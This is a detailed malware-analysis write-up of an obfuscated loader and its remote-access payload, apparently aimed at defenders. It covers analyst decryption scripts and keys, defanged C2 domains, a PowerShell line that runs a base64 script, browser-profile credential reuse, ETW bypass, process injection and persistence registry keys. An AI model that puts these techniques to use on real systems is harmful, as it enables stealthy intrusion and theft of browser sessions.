· 78 min read

Novel Malware Built to Survive the Analyst

Four payloads built to resist analysis: PavokwiLoader, an 80,000-instruction monstrosity hiding its payload in operand bytes; RMMCRAT, a custom C++ "RAT"; a fake RMM agent; and an obfuscated Python loader with a brute-forced decryption key.

This analysis covers the malware recovered from the intrusion chain described in Kostas’s blog “From SEO Poisoning to Custom RMM and Cobalt Strike” - if you haven’t read it yet, start there for the full attack context before diving into the binaries.


PavokwiLoader. The Binary of Nothing You Can Read

PavokwiLoader is written in C++. WinMain is one function with over 80,000 instructions, everything inlined into it.

WinMain in full

I went in expecting control-flow flattening but it isn’t that. There’s one indirect jump in the whole function and it’s an ordinary compiler switch table — though the case index comes out of a 64-bit hash, so you still can’t read which case runs.

The obfuscation is in the predicates instead - over 2K MBA clusters in this one function, and over 1K of them distinct, and 94% appear exactly once. The twelve bitwise instructions below, 0x140054E32 through 0x140054E5D, compute a - b.

Twelve instructions at 0x140054E2A that compute a - b

A lot of code that means very little, and a lot of headache. 68 functions, all from KERNEL32, no delay imports. Every one of them belongs to the MSVC runtime and nothing in the loader’s own code calls any of them. It goes through ntdll for all of it, and ntdll isn’t in the table.

API hash table

Above is the API hash table. It holds forty-eight 32-bit hashes, and the resolver walks ntdll’s export directory hashing each name until one matches. The hash is FNV-1a with the constants swapped out - seed 0x676092FE instead of 0x811C9DC5, multiplier 0xE6006695 instead of 0x01000193. Each character is OR’d with 0x20.

def api_hash(name):
    h = 0x676092FE
    for ch in name:
        h = ((h ^ (ord(ch) | 0x20)) * 0xE6006695) & 0xFFFFFFFF
    return h

We could have spent 5 hours on figuring out the API hashing algorithm above but the best way was to emulate. So we can build a PE with valid headers and a real export directory, laid out exactly the way ntdll’s is so the resolver’s parsing works unchanged, except the name table. We can send ntdll export names into the table taken from the public syscall tables. Then we point the resolver at it and let it hash our list with its own code, hooking the hash loop to catch every name and the hash it produced.

Below is the snippet of the loop that produces those hashes.

The API hash loop

It’s the same obfuscation as the rest of the binary, pointed at the hash. The seed is on line 4107 - v589 = 1734382334, which is 0x676092FE. It’s sitting in the open, and it’s still effectively hidden, because everything around it is noise, then there are the predicates. Line 4416 zeroes v592 if v1139 != v1155. Line 4421 zeroes v594 if v1104 != v1105. Line 4432 sets v597 if v1104 == v1105.

We got forty-eight APIs back:

All forty-eight came back.

Hash API
EDD40946 ZwAllocateVirtualMemory
98F7762A ZwWriteVirtualMemory
547DFEAD ZwReadVirtualMemory
D1295113 ZwFreeVirtualMemory
2B8FEE08 ZwProtectVirtualMemory
4F05EAD8 ZwOpenProcess
7B658F85 ZwGetNextProcess
93342FA1 ZwTerminateProcess
FFA1B342 ZwQueryInformationProcess
786ABBBD ZwUnmapViewOfSection
D09BB7D0 ZwGetContextThread
3D35B134 ZwSetContextThread
FFDE752E ZwSuspendProcess
E53AE315 ZwResumeProcess
511C52AC ZwCreateThreadEx
3499C218 ZwResumeThread
819F0F83 ZwFlushInstructionCache
C2357158 ZwDelayExecution
AC93DB43 ZwCreateEvent
22CE7E4D ZwQuerySystemTime
5BA5FD71 ZwClose
E45D2D38 ZwOpenKey
ABAB7E21 ZwQueryValueKey
B66B3B28 ZwEnumerateKey
B5D63240 ZwQuerySystemInformation
2057B111 ZwDuplicateObject
EC65679C ZwQueryObject
1588A275 ZwCreateFile
A250B80F ZwReadFile
2C9C3394 ZwWriteFile
C617296F ZwQueryInformationFile
4CEFAE6F ZwSetInformationFile
4A4CA34A ZwFlushBuffersFile
72DE7294 ZwWaitForSingleObject
7A7AD4A3 ZwFsControlFile
7E962EE0 ZwQueryAttributesFile
6FBBF7B6 ZwQueueApcThread
ABA78219 ZwCreateUserProcess
C1513763 ZwQueryVolumeInformationFile
F96F48E2 ZwQueryDirectoryFile
68B197E2 ZwCreateSection
282EE0FE ZwMapViewOfSection
D545ED43 ZwCreateTransaction
09BE8FA5 ZwRollbackTransaction
24043593 ZwCreateDebugObject
0DC99649 ZwDebugActiveProcess
F8AC5596 ZwWaitForDebugEvent
DE88A9C7 ZwDebugContinue

Most of it is what you’d expect from a loader - memory, process and thread control, sections, files, registry.

Anti-debug

The loader checks for a debugger three times. First it reads its own thread context, asking for ContextFlags = 0x00100010 - CONTEXT_AMD64 | CONTEXT_DEBUG_REGISTERS. That flag tells the kernel to fill in Dr0 through Dr3, which hold hardware breakpoint addresses, along with Dr7, which says which of them are switched on.

Then it queries its own process twice with ZwQueryInformationProcess, asking for ProcessDebugPort and then ProcessDebugObjectHandle. The first returns the process’s debug port, which is what CheckRemoteDebuggerPresent relies on. IsDebuggerPresent only reads the BeingDebugged byte in the PEB, and that byte is the first thing anyone flips. The second returns a handle to the debug object, which catches a debugger that has nulled the port but left the object behind.

None of those three values is in the binary. You can search for 0x00100010 and you get nothing - they are assembled at runtime like everything else here, so the only way to read them is to emulate and watch the call happen.

The emulator answers with a breakpoint in Dr0, and the loader terminates immediately

Anti-VM

Two registry keys, read through ZwOpenKey, ZwEnumerateKey and ZwQueryValueKey.

Key Value Fails on
\Registry\Machine\SYSTEM\CurrentControlSet\Control\Class{4d36e968-e325-11ce-bfc1-08002be10318} DriverDesc anything that isn’t nvidia or intel
\Registry\Machine\SYSTEM\CurrentControlSet\Services\disk\Enum vbox, qemu, virtual, vmware

The first is the display adapter class key, enumerated subkey by subkey - the loader wants to see a real GPU, and it only accepts nvidia or intel. There’s no amd in the list, so a Radeon machine fails the same check a VM does. The second is the disk enumeration key, whose numbered values are checked for virtual controller strings.

Sandbox checks

It compares the current username against a hardcoded list: john, sandbox, analyst, malware, virus, test, sample, cuckoo, wilbert, johnson, miller, emily, default.

Host profiling

The loader reads SystemBasicInformation for processor count and physical memory, opens \??\C:\ and issues a FileFsSizeInformation query, and requests SystemProcessInformation to walk the process list. The volume query acts on TotalAllocationUnits. A 500 GB drive with nothing left on it passes but a 40 GB drive that is completely empty does not and when it doesn’t pass the check - it also calls ZwTerminateProcess.

How to Bypass the Evasion

Before any of the environment checks, the loader probes for %APPDATA%\fontcache_ms. If the file is there it skips the whole evasion checks and goes directly to decrypting the payload. The marker means the host was already vetted on an earlier run. I tested this on a machine built to fail four separate gates at once: two cores, 4 GB of RAM, a 20 GB disk, ten running processes and a Basic Display Adapter and with the marker present it decrypted anyway.

String encryption

Every string the loader relies on is encrypted. The decryptor builds a keystream from the loop index using MBA arithmetic, but it all reduces - the last two multiplications are inverses mod 256 and cancel out, so what’s left is plaintext[i] = ciphertext[i] XOR keystream[i].

The string cipher’s inner loop - all of this is one XOR.

Process injection

After decrypting the strings, we get more insights into this loader. It checks for twelve executables:

  • System32\smartscreen.exe
  • System32\ctfmon.exe
  • Google\Chrome\Application\chrome.exe
  • Microsoft\Edge\Application\msedge.exe
  • BraveSoftware\Brave-Browser\Application\brave.exe
  • Vivaldi\Application\vivaldi.exe
  • Yandex\YandexBrowser\Application\browser.exe
  • Programs\Opera\opera.exe
  • Opera\opera.exe
  • Programs\Opera GX\opera.exe
  • Mozilla Firefox\firefox.exe
  • Chromium\Application\chromium.exe

Each path is assembled at runtime from the decrypted fragments, prefixed with \??\ and one of PROGRAMFILES, PROGRAMFILES(X86), LOCALAPPDATA or SYSTEMROOT. The loader works down the list in order and stops at the first executable that exists. smartscreen.exe comes first, then ctfmon.exe, then the browsers in the order they are stored: Chrome, Edge, Brave, Vivaldi, Yandex, the three Opera variants, Firefox, Chromium. Each browser is tried against three roots before it moves to the next one. On a machine where everything is installed the probing is two calls long - smartscreen.exe exists, and it never asks about anything else.

It spawns the target suspended through ZwCreateUserProcess. Suspended means the process exists and its image is mapped but the initial thread has not run an instruction yet, which gives the loader a window to modify the process before it starts running its own code. Going through ZwCreateUserProcess also skips CreateProcessW and the kernel32 layer, where a lot of usermode hooks sit.

What happens in that window is a write into another process’s memory. ZwAllocateVirtualMemory, ZwWriteVirtualMemory and ZwProtectVirtualMemory all take a process handle as their first argument, and that handle decides whose memory gets touched.

The child’s own image is never unmapped, so this is not process hollowing. ZwUnmapViewOfSection, ZwCreateSection and ZwMapViewOfSection are all resolved in the hash table and none of them is ever called.

At this point the payload is sitting in the child’s memory and nothing is running it. The loader has two ways to change that, both aimed at the child’s initial thread - the one that’s still suspended.

The first queues an asynchronous procedure call with ZwQueueApcThread pointing at the payload. A thread drains its APC queue when it resumes, before it runs the process’s own startup code, so the payload executes first. The second reads the suspended thread’s saved register state with ZwGetContextThread, changes the instruction pointer to the payload, and writes the state back with ZwSetContextThread. ZwResumeThread then lets the thread run, and it starts at the payload instead of where it was supposed to start.

Second Stage or a “Container”?

Before the loader gets to the second stage, it checks how long it has been running.

All the anti-analysis work above takes a real machine a moment to get through. So the loader saves a timestamp before it starts, reads the clock again after, and refuses to continue unless at least half a second has gone by. On real hardware the check passes by itself, because the work genuinely took that long. In an emulator with a frozen or faked clock, no time appears to pass at all, and the loader stops there. It isn’t waiting for anything - it’s asking whether the clock it’s reading belongs to a real machine.

Where it reads that clock from is what makes it awkward to fake. Windows maps KUSER_SHARED_DATA into every process at a fixed address and keeps the current time in it, so a program can read the time with an ordinary memory load. The loader reads KUSER_SHARED_DATA.SystemTime and does the subtraction itself. Getting past it means giving the emulator a clock derived from how many instructions it has run, so time advances in proportion to the work the loader does. Past that check, the loader starts assembling its second stage.

The loader allocates a buffer and runs 652 memcpys into it, pulling chunks out of a large blob in .rdata. Between the chunks are 651 gaps it skips over - 195k bytes of filler that exist to break up the thing being hidden. What comes out is 1,425,984 bytes, and it disassembles as x86-64.

Filler inside the carrier blob - CSS fragments padding the gaps between the 652 real chunks

652 chunks pulled out of the 1.6 MB blob

After pulling the chunks together, you might think the result looks like code but it’s not. It’s a container, and the real data is sitting in the operand fields. The loader walks it instruction by instruction and pulls out the displacement bytes, then the immediate bytes, at whatever width each one was encoded with. It leaves the relative targets of call, jmp and jcc alone. Those have to stay valid, because a jump that points somewhere sensible is what keeps the container disassembling as code. Hide payload bytes in them and the jumps end up in the middle of instructions, the disassembly falls apart, and what’s left stops looking like an actual legitimate program.

Fourteen instructions of the container, and what the extractor takes from each

Collecting the operands leaves about 771k bytes, and they’re encrypted. Entropy is 7.49, the byte histogram is flat across all values. The decryption of the stage 2 is ChaCha with a few values changed. The constants aren’t expand 32-byte k, the rotations are 21/10/15/14 instead of 16/12/8/7, there are 24 rounds instead of 20, and the block counter starts at one. It isn’t anything unique, just one that won’t match anything looking for ChaCha’s constants. But to get the proper key and nonce we need to emulate instead of getting lost in the MBA.

The assembled container at 7.49 entropy (Source: DiE)

Stage 2 decryption using ChaCha:

import struct

M      = 0xFFFFFFFF
ROT    = (21, 10, 15, 14)   # ChaCha uses 16, 12, 8, 7
ROUNDS = 24                 # ChaCha uses 20

CONSTS = (0xEFC1549C, 0xB4554834, 0x3C940E92, 0x86DBC1F4)   # not "expand 32-byte k"
KEY    = bytes.fromhex("f35500064b0122e9b48366c62f172564"
                       "863bd4d0c8167a4c63afb70efbaab048")
NONCE  = bytes.fromhex("4cffd00116352513e1e03e28")

def rotl(v, c):
    return ((v << c) | (v >> (32 - c))) & M

def block(s):
    x = list(s)
    r1, r2, r3, r4 = ROT
    def qr(a, b, c, d):
        x[a] = (x[a] + x[b]) & M; x[d] ^= x[a]; x[d] = rotl(x[d], r1)
        x[c] = (x[c] + x[d]) & M; x[b] ^= x[c]; x[b] = rotl(x[b], r2)
        x[a] = (x[a] + x[b]) & M; x[d] ^= x[a]; x[d] = rotl(x[d], r3)
        x[c] = (x[c] + x[d]) & M; x[b] ^= x[c]; x[b] = rotl(x[b], r4)
    for _ in range(ROUNDS // 2):
        qr(0,4,8,12);  qr(1,5,9,13);  qr(2,6,10,14); qr(3,7,11,15)
        qr(0,5,10,15); qr(1,6,11,12); qr(2,7,8,13);  qr(3,4,9,14)
    return struct.pack("<16I", *[(x[i] + s[i]) & M for i in range(16)])

def decrypt(ct, key=KEY, nonce=NONCE):
    s = list(CONSTS) + list(struct.unpack("<8I", key)) \
      + [0] + list(struct.unpack("<3I", nonce))
    ks, ctr = bytearray(), 1                  # counter starts at 1, not 0
    while len(ks) < len(ct):
        s[12] = ctr & M
        ks += block(s)
        ctr += 1
    return bytes(a ^ b for a, b in zip(ct, ks))

Now, Is It Truly a Second Stage?

The decrypted payload above is a wrapper, and its job is to reflectively load the final stage. Normally Windows loads a PE for you. The loader reserves memory, copies each section to the right address, patches the relocations if it couldn’t get the preferred base, resolves the imports, sets the page protections, and calls the entry point - and it records the module, so every tool that lists loaded DLLs sees it. Reflective loading is doing all of that. This wrapper implements three of those six steps. It sets page protections, resolves imports, and calls the entry point. There is no allocation, no section copying and no relocation processing anywhere. It skips those steps because they already happened. The final stage isn’t a blob the wrapper has to unpack into memory - it was built into the wrapper as sections of the wrapper, so it gets mapped along with it.

The section table below gives us some of the hints:

The wrapper’s section table (Source: Malcat)

.pad holds no data at all, and its only property is 0xC000 of virtual size, which pushes .btnkos out to RVA 0x10000. Against the wrapper’s image base of 0x13FFF0000 that works out to 0x140000000, which is the preferred base of the PE sitting inside .btnkos.

The wrapper starts by walking the module list out of the PEB.

The wrapper walking InMemoryOrderModuleList and hashing each BaseDllName. 0x88C752E2 is KERNEL32.DLL, 0xA0D06DDA is NTDLL.DLL

The wrapper uses the same FNV variant described above, same seed and same multiplier. From there the stub walks the section table and sets page protections.

Imports go through LdrLoadDll and LdrGetProcedureAddress instead of LoadLibraryW and GetProcAddress.

Hash API
E14DCADA LdrLoadDll
474ABF05 LdrGetProcedureAddress
50DEC9E1 RtlAddFunctionTable
F40BF4EA RtlCreateTimerQueue
EFCD6D6B RtlCreateTimer
043AE37D EtwEventWrite
6DE4A75A RtlAddVectoredExceptionHandler

ETW Bypass

Windows logs security-relevant events through ETW, and almost all of it funnels through one function called EtwEventWrite. Security products read what comes out, so silencing that function removes a large part of what an EDR would otherwise see. The usual way to silence it is to overwrite its first instruction with a return. That works, but patching ntdll means making a system module’s code writable first, and afterwards the copy in memory no longer matches the file on disk - both are things an EDR looks for.

The wrapper takes a different route. A hardware breakpoint does not redirect execution, it only tells the CPU to raise an exception when it reaches the address. Something has to catch that exception or the process dies, which is what the handler is for. The breakpoint is the trigger and the handler is the bypass.

The wrapper resolves EtwEventWrite for the breakpoint address and RtlAddVectoredExceptionHandler to register the handler. It passes 1 as the flag, putting its handler at the front of the vectored handler list, so nothing else registered in the process gets the exception first. Then it reads its own thread CONTEXT, writes the EtwEventWrite address into DR0, and enables that slot in DR7 as an execute breakpoint, which fires when the CPU fetches the instruction, not when something reads or writes the address. Neither the read nor the write of the context goes through ntdll’s stubs. Both are issued as indirect syscalls - the syscall number is recovered from the export table and the syscall instruction itself is borrowed from inside ntdll.

Windows passes the handler a copy of the thread’s registers, and returning EXCEPTION_CONTINUE_EXECUTION makes the kernel resume from that copy. After checking the exception code is STATUS_SINGLE_STEP and the faulting address matches DR0, the handler rewrites the copy to look like EtwEventWrite already returned. RAX gets zero, RIP gets the return address pulled off RSP, RSP moves up eight to pop it, DR6 is cleared. The caller resumes with a success code from a function that never ran an instruction. Anything that fails either check is passed on untouched, and because debug registers are per-thread, only the thread that runs the wrapper is silenced.

The handler checks the exception is its own, then fakes a successful return from EtwEventWrite

Final Stage

All the useful strings are ChaCha20 ciphertext. The key and nonce are hardcoded in the binary:

  • key: 33 75 48 EB CC A1 B3 CE 42 83 E2 2F 3A BC 85 A7 FC E0 29 BF 40 17 F7 33 4E C2 AE E8 32 AE 76 78
  • nonce: BA 2A D2 EF 22 36 06 F3 C5 6C 42 64

The encrypted string table

For API hashing - the hash is the same FNV-1a variant described earlier, with different constants.

HVNC

The recovered APIs give us a bit of insight into the final stage. CreateDesktopW creates a desktop object in the process’s window station. The process launched onto it is created through RtlCreateProcessParametersEx and ZwCreateUserProcess, so its windows land on that desktop rather than on Default. A desktop that is never made the input desktop is never composited, which is why the capture cannot be a screen grab. EnumDesktopWindows walks the window list by HDESK and PrintWindow sends each window WM_PRINT, making it render itself into a device context, the one capture method that does not require the window to have ever been drawn to a display. Neither import list has the GDI calls that would create that device context, so where it comes from is still open.

Input runs the same path in reverse. WindowFromPoint and ChildWindowFromPointEx resolve the operator’s coordinates to the control underneath, ScreenToClient converts them into that control’s client space, MapVirtualKeyW translates virtual keys to scan codes, and PostMessageW delivers the events to the target window. SendInput is in the import list too, but it only reaches the input desktop, so it can’t be what drives the hidden one. SetThreadDpiAwarenessContext pins the thread’s DPI context so operator and target agree on what a pixel is.

It never imports SwitchDesktop, OpenInputDesktop or SetThreadDesktop, so it never puts that desktop on the user’s monitor and never reads back the one they are actually using. A parallel workspace, not a session takeover. That gives the binary two independent remote-control paths: the CDP one drives a browser with the victim’s profile, this one drives anything at all where nobody can see it.

Frames come from two places. The hidden browser is captured over CDP with Page.captureScreenshot, as webp or png. The binary also carries a full baseline JPEG encoder, with the JFIF header and the standard Huffman and quantisation tables. CDP can only capture a browser, so the encoder is most likely there for the hidden desktop, where PrintWindow renders the windows and the payload has to compress the frames itself.

The profile clone

The section above says the CDP path drives a browser with the victim’s profile. That isn’t a figure of speech, and the mechanism is worth spelling out, because it’s also the answer to what App-Bound Encryption does and doesn’t buy you.

Chrome keeps its master key in Local State, under os_crypt.encrypted_key, base64 with a DPAPI prefix on the raw bytes. Anything running as that user can unwrap it and decrypt the v10 blobs inside Login Data, Web Data and Cookies. App-Bound Encryption, added around Chrome 127, was meant to end that. The key in os_crypt.app_bound_encrypted_key is wrapped by a SYSTEM-privileged COM service that validates the calling application, so having the user’s DPAPI credentials is no longer enough.

The payload looks for both key names. It builds a two-entry needle array on the stack and substring-searches Local State for "app_bound_encrypted_key" and then for "aster_app_bound_encrypted_key". The second one has a leading double-quote, so it can’t match a master_-prefixed variant and never matches anything in stock Chrome. Most likely a builder typo. The lookup runs, misses, and falls through.

What it does next makes the ABE branch irrelevant. Out of every decrypted string the only DPAPI call name is CryptProtectData. There is no unprotect, no IElevator, no elevation-service CLSID. The payload never decrypts anything offline. It copies the profile into its own user-data directory, writes that directory a fresh Local State carrying the harvested key, and launches the real browser against it with --user-data-dir= and --profile-directory=. Chrome then decrypts its own data as a matter of course.

The JSON assembly is literal. It searches the file for "os_crypt". On a hit it seeks forward to the opening {. On a miss it walks backward from the end to the final } and splices in:

"os_crypt":{"encrypted_key":"<base64 DPAPI blob>"}

Emulating the splice routine against a synthetic Local State gives exactly that, inserted right before the terminating brace:

{"profile":{"info_cache":{}},"user_experience_metrics":{"stability":{}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6w=="}}

Two artifacts fall out of that. The insert always lands last, so a Local State whose os_crypt is the final key in the object, rather than wherever Chrome would have written it, is odd on its own. And the constructed file carries only encrypted_key, never an app_bound_encrypted_key next to it, even when it was cloned from a profile that had one. A Local State in a non-standard user-data directory, recently written, with a lone encrypted_key, is a fairly specific thing to hunt for.

The browser is then hardened against its own automation tells. The UA has HeadlessChrome and Headless stripped, and Page.addScriptToEvaluateOnNewDocument injects Object.defineProperty overrides for navigator.webdriver, navigator.plugins (a full synthetic PDF-viewer plugin array), navigator.languages and window.chrome.

Firefox runs its own path instead of the CDP one: -no-remote -profile, with xulstore.json written to set the window geometry, and sessionstore.jsonlz4, sessionCheckpoints.json and prefs.js handled directly.

Command and Control

The payload has three C2 slots holding two distinct endpoints. Slots 2 and 3 are the same URL:

wss://salobakodasofne[.]com/ws
wss://ajdbsgjlgbdfgsdlfkbskldf[.]com/ws     (slots 2 and 3, identical)

None of it goes through WinHTTP, WinINet or Winsock. Sockets are opened on \Device\Afd\Endpoint and driven with ZwDeviceIoControlFile. TLS 1.3 is implemented from scratch: X25519 for the key exchange, HKDF-SHA256 for the key schedule, AES-GCM for records.

The payload opens four threads. Three of them run the same connection loop and differ only in the handler they pass to it:

Channel Role
agent tasking, HVNC control
file_agent files, modules, persistence
stream_agent screen stream

Each channel is its own WebSocket connection to the same host, identified by the channel name it sends after the upgrade. Tasking, file transfer and the screen stream never share a socket.

Proxy

If ProxyEnable is set under Internet Settings, the payload reads ProxyServer and tunnels out with CONNECT:

CONNECT host:port HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0
Proxy-Connection: keep-alive

It checks every user hive under \Registry\User\, including .DEFAULT, not only the current user’s.

DNS-over-HTTPS fallback

There is a fourth way to reach the C2. The payload can pull a C2 URL out of a DNS TXT record, but the lookup never goes out as DNS, it goes out as HTTPS.

It builds a normal DNS query for a TXT record by hand and POSTs it to a public resolver over its own TLS stack. The resolver IPs are hardcoded:

8.8.8.8     Host: dns.google
1.1.1.1     Host: cloudflare-dns.com      (used if 8.8.8.8 fails)
POST /dns-query HTTP/1.1
Host: dns.google
Content-Type: application/dns-message
Accept: application/dns-message
Content-Length: 28
Connection: close

<binary DNS query>

The payload takes the first TXT answer, base64-decodes it, and XORs it with a hardcoded 32-byte key:

19 82 9C 6F 78 AA D7 35 3D 88 4D 8F 67 8B 95 6C
0A 3F 4B BC E8 B4 14 20 3F C7 67 9B 16 47 36 8E

If the result starts with ws://, wss://, http:// or https://, it’s added as a new C2 endpoint.

The idea is that the operator publishes the next C2 as a TXT record on a domain they control. Moving to new infrastructure then only takes a DNS change, and infected hosts pick it up without a new build. On this build, though, the domain it queries is google.com. The only TXT records it can get back are Google’s own, SPF and site-verification tokens, and none of them decode to a URL. The fallback runs but never produces a C2, and there is no attacker record to find for this sample. Either the builder is meant to swap that domain per campaign, or this build shipped without one. The code still runs: every startup and every failover sends a DoH POST to 8.8.8.8 asking for google.com TXT.

To show what a working record looks like, we encoded the existing C2 URL with the key. This record is constructed, not observed:

wss://salobakodasofne[.]com/ws   ->   bvHvVVeFpFRR5y/uDOTxDXlQLdKNmndPUugQ6BY=
Handshake

All three channels open with the same handshake:

GET <path> HTTP/1.1
Host: <host>
Origin: <origin>
Sec-WebSocket-Key: a9BlgZwbiIR3jQIFM+ZjPw==
Sec-WebSocket-Version: 13
Connection: Upgrade
Upgrade: websocket

Sec-WebSocket-Key is supposed to be 16 random bytes per connection. Here it’s a hardcoded constant, the same on every connection from every host, a9BlgZwbiIR3jQIFM+ZjPw==

Registration

Once the connection upgrades, the agent has to tell the C2 who it is. Most payloads generate a random ID at install and save it somewhere. This one saves nothing, it recalculates the ID from the host every time it runs. It hashes the host identity with FNV-1a-64, then does a second pass that mixes in a hardcoded salt, DGnk_24598AWE*&. The 64-bit result becomes sixteen hex characters and goes out as register,<id>,<channel>, followed by the identity blob:

{"guid":"<MachineGuid>","user":"…","build":"g3","pc":"<COMPUTERNAME>",
 "domain":"<USERDOMAIN>","arch":"<PROCESSOR_ARCHITECTURE>",
 "cpus":<NUMBER_OF_PROCESSORS>,"winver":"…"}

"build":"g3" seems to be a constant, potentially a build tag.

Commands are hashed too

Commands are hashed in the binary, so we brute-forced the hashes against a wordlist made from the decrypted strings:

Command Description
cmd:exec Runs a command line. Acks with cmd:ack,, returns output in cmd:result,. Payload is base64-encoded.
shell Same executor via the shell path - cmd.exe /Q /D for batch or powershell -NoLogo -NoProfile. The script goes into \Device\NamedPipe\S. as stdin, output comes back over two \Device\NamedPipe\A. pipes
process:kill Terminates a process, reports via process:kill_result,
session:kill Closes the hidden browser session via the CDP Browser.close path
persist:remove Removes a persistence entry; reaches the logon-script installer, replies persist:remove_result,
fs:channel Opens the dedicated file-transfer channel, replies fs:ack,open
fs:list Directory listing, replies fs:ack,list, with the JSON entry array
fs:mkdir Creates a directory, replies fs:mkdir_result,
fs:delete Deletes a path, replies fs:delete_result,
fs:download Pulls a file off the host, chunked with meta and progress frames
fs:upload_begin Starts a file write to the host
fs:upload_chunk Next chunk of that write, payload base64
fs:upload_end Finalises the write
module:begin Starts a .heiz module transfer, same state machine as the upload path
module:chunk Next chunk of the module
module:end Finalises and installs the module
module:cancel Aborts a partial module transfer
hvnc:start Starts the hidden browser session; emits started, then browser_ready
hvnc:stop Tears it down; emits browser_closed, stopped
vnc:start Same start, on the hidden-desktop path rather than the browser one
vnc:stop Same teardown, hidden-desktop path
resolution Sets or reports session resolution, logged back. Default is 1600x1000
user_agent Gets or sets the UA override, building {“userAgent”:”…”} for Emulation.setUserAgentOverride. The default strips HeadlessChrome and Headless out of the browser’s own UA
navigate Navigates to a URL (Page.navigate); handler checks for http:// / https://
back History back, executed as JavaScript through Runtime.evaluate
forward History forward, same mechanism
refresh Page reload, same mechanism
clear Clears the focused input via Runtime.evaluate
close Closes the current target
click Mouse click, Input.dispatchMouseEvent with left
dblclick Double click
right_click Click with right button selection
mouse_down Button press only, for drags
mouse_up Button release only
hover mouseMoved with no button pressed
scroll Wheel event
type Text entry via Input.insertText
enter Enter keypress
sites Dumps Top Sites, History, Login Data, Web Data and Cookies
sites_dump Delivers that dump as sites.zip
tabs Returns the open tab list as JSON
cookies:load Injects cookies into the session via Network.setCookie; errors as cookies:error
screen:capture Captures a frame via Page.captureScreenshot, webp or png

Shell

The command executor builds %SystemRoot%\System32\cmd.exe and picks one of two shapes depending on what the operator sent.

Batch goes through " /Q /D " with the body wrapped:

@echo off
chcp 65001 > nul
<command>
exit

PowerShell tasks start this process tree:

smartscreen.exe                      <- the payload
└── cmd.exe /C "powershell -NoLogo -NoProfile -Command -"
    └── powershell.exe -NoLogo -NoProfile -Command -

The command line never contains the script. Before launching, the payload builds three pipes and attaches them as the new process’s standard handles.

Stdin is created inline in the shell executor under \Device\NamedPipe\S.. The server end is opened GENERIC_READ and handed to the child, and the payload keeps the client end and writes into it. Stdout and stderr come from a separate helper, which does on the Nt layer what CreatePipe does internally: a server end through ZwCreateNamedPipeFile, a client end through ZwCreateFile. Those use the prefix \Device\NamedPipe\A. with a suffix from a process-global counter bumped by lock xadd, written out as lowercase hex. The helper gets called twice. So every shell task leaves three pipes behind, one S. and two sequential A. names, created back to back by the injected process.

The pipes are byte-stream, single instance, 4 KB of quota each direction, five second default timeout. The server end is created with FILE_CREATE, so a name collision fails instead of quietly joining an existing instance. OBJ_INHERIT is set on the three handles the child needs and nothing else.

-Command - tells PowerShell to read its commands from stdin, so it starts up and waits on the S. pipe. The payload then writes one line into it, with the operator’s script base64-encoded as UTF-16 inside:

[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
iex([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('…')))

PowerShell decodes the blob back into the script and runs it with iex. Process creation logs only ever see powershell -NoLogo -NoProfile -Command -, the same for every task, and the script shows up in script block logging (Event 4104), not anywhere in process creation.

Process creation and PPID spoofing

A single launcher creates every process the payload spawns, including the shell and the browser. It resolves RtlCreateProcessParametersEx from ntdll by hash, builds the process parameters itself, and calls ZwCreateUserProcess directly.

When the caller does not need to capture output, the launcher reparents the new process. It walks the process list, hashes each image name, and stops at 0x5A2E5332, explorer.exe. The hash folds case, so renaming or recasing the image doesn’t change the match. It opens explorer.exe with PROCESS_CREATE_PROCESS, holds the handle for the life of the payload, and hands it to the kernel as the new process’s parent. The browser comes up looking like the user launched it from the desktop.

Nothing here is falsified. The kernel really does make explorer.exe the parent, so anything reading the parent field gets a truthful answer that happens to be useless. What separates the two is that the creator and the parent are now different processes, and kernel process-creation callbacks receive both, so a sensor at that layer sees smartscreen.exe create a process that explorer.exe adopts. PROCESS_CREATE_PROCESS is worth watching for in its own right. It is the minimum access needed to reparent, and very little legitimate software asks for it against explorer.exe.

The cmd.exe it starts for operator commands isn’t reparented, and the reason is a constraint the author had to design around. Handle inheritance follows the parent, not the creator. With explorer.exe as the parent, the child would inherit explorer.exe’s handles and never get the stdin, stdout and stderr pipes the payload set up for it. So when the caller passes stdio handles, the launcher gives up the fake parent and hides the window instead. WindowFlags gets STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW and ShowWindowFlags is zeroed for SW_HIDE. What it buys back is narrow: only the three pipe ends are marked inheritable, nothing else in the payload’s handle table. Output capture and parent spoofing are mutually exclusive here, and that is what leaves operator commands visible. Hunt for cmd.exe under the injected process, smartscreen.exe on our bench, or PowerShell ending in -Command -.

File transfer

The file manager runs over its own WebSocket channel, the file_agent connection. It can list, create and delete folders, download files from the victim, and upload files to it. Directory listings come back as JSON:

{"path":"…","parent":"…","entries":[{"name":"…","path":"…","is_dir":true}],"has_more":false,"error":"…"}

has_more pages large directories so a listing never blows the frame.

Drives are not enumerated through an API. It reads \Registry\Machine\SYSTEM\MountedDevices and matches on \DosDevices\.

Downloads are chunked, with fs:download_meta,, fs:download_chunk,, fs:download_progress, and fs:download_error, frames. Multi-file selections are zipped before transfer, and the error strings give you the limits it enforces:

Reply Condition
selection too large (>2GB) zip input over 2 GB
archive too large or unreadable resulting archive rejected
sharing violation file locked by another process
file channel down fs:channel was never established
error:empty_path empty path argument

sites_dump reuses the same chunked download for browser data, zipping the Top Sites, History, Login Data, Web Data and Cookies that sites gathers and replying fs:ack,sites_dump,. Each SQLite database is copied together with its -wal and -shm sidecars. That is what lets it rebuild the current state of a profile that is still open, instead of a checkpointed snapshot missing the session’s most recent writes. Firefox gets the same treatment through parent.lock and .parentlock, which the payload checks before touching a profile.

Modules

Modules come down the file channel in pieces, over the same chunked transfer used for uploads:

Command Description
module:begin opens a new module transfer
module:chunk sends the next piece
module:end finishes the transfer and writes the module to disk
module:cancel aborts the transfer

The payload confirms each piece with module:ack, and reports success or failure with module:result,. Regular file uploads use the same code, with fs: messages instead of module:. Finished modules are written into a modules directory with the extension .heiz.

Five ways to persist

The payload receives the persistence method as a name, hashes it, and uses the hash to pick a registry location. That code runs from two places: the module path in the file agent, and a separate thread that waits a configured number of seconds before installing:

Hash Token What it writes
8D47EE6F load Software\Microsoft\Windows NT\CurrentVersion\Windows, value Load
05908FFC com Software\Classes\CLSID{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\InprocServer32, ThreadingModel set to Both
D6C45AF5 logonscript UserInitMprLogonScript under Windows NT\CurrentVersion\Windows
